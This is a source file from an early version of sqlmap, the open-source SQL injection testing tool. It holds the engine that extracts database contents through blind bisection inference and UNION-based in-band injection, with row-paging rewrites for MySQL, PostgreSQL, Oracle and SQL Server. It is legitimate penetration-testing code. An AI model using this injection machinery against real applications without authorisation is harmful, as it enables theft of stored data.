sqlmap/lib/request/inject.py
Bernardo Damele 206191d164 Major bug fix so that when the expected value of a query (count variable)
is an integer and for some reason the resumed value from session file is
a string or a binary file, the query is executed again and and its new
output saved to the session file
2008-11-02 19:21:19 +00:00

382 lines
14 KiB
Python

#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.techniques.inband.union.use import unionUse
from lib.techniques.inference.blind import bisection
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
def __getFieldsProxy(expression):
_, _, _, expressionFields = agent.getFields(expression)
expressionFieldsList = expressionFields.replace(", ", ",")
expressionFieldsList = expressionFieldsList.split(",")
return expressionFields, expressionFieldsList
def __goInference(payload, expression):
start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload)
else:
length = None
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
count, value = bisection(payload, expression, length=length)
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(infoMsg)
return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None):
outputs = []
for field in expressionFieldsList:
output = None
expressionReplaced = expression.replace(expressionFields, field, 1)
output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __goInference(payload, expressionReplaced)
outputs.append(output)
return outputs
def __goInferenceProxy(expression, fromUser=False, expected=None):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
startLimit = 0
stopLimit = None
outputs = []
test = None
untilLimitChar = None
untilOrderChar = None
output = resume(expression, payload)
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
return output
if kb.dbmsDetected:
expressionFields, expressionFieldsList = __getFieldsProxy(expression)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind"
logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry per time
# NOTE: I assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
else:
message = "does the SQL query that you provide might "
message += "return multiple entries? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, payload)
if not stopLimit:
if not count or not count.isdigit():
count = __goInference(payload, countedExpression)
if count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query that you provide can "
message += "return up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count
elif test[0] in ("q", "Q"):
return "Quit"
elif test.isdigit() and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
logger.error(errMsg)
return None
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
logger.warn(warnMsg)
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
limitedExpr = expression
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedExpr += " %s" % limitStr
elif kb.dbms == "Oracle":
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedExpr = limitedExpr % fromFrom
limitedExpr += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedExpr, re.I):
untilOrderChar = limitedExpr.index(" ORDER BY ")
limitedExpr = limitedExpr[:untilOrderChar]
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
limitedExpr += "NOT IN (%s" % (limitStr % num)
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
outputs.append(output)
return outputs
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
return returnValue
def __goInband(expression, expected=None):
"""
Retrieve the output of a SQL query taking advantage of an inband SQL
injection vulnerability on the affected parameter.
"""
counter = None
output = None
partial = False
data = []
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if condition:
output = resume(expression, None)
if not output or ( expected == "int" and not output.isdigit() ):
partial = True
if not output:
output = unionUse(expression)
fields = expression.split(",")
counter = len(fields)
if output:
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output
through inband SQL injection (if selected) and/or blind SQL injection
(if selected).
"""
expression = cleanQuery(expression)
expression = expandAsteriskForColumns(expression)
value = None
if inband and conf.unionUse and kb.dbms:
value = __goInband(expression, expected)
if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected)
return value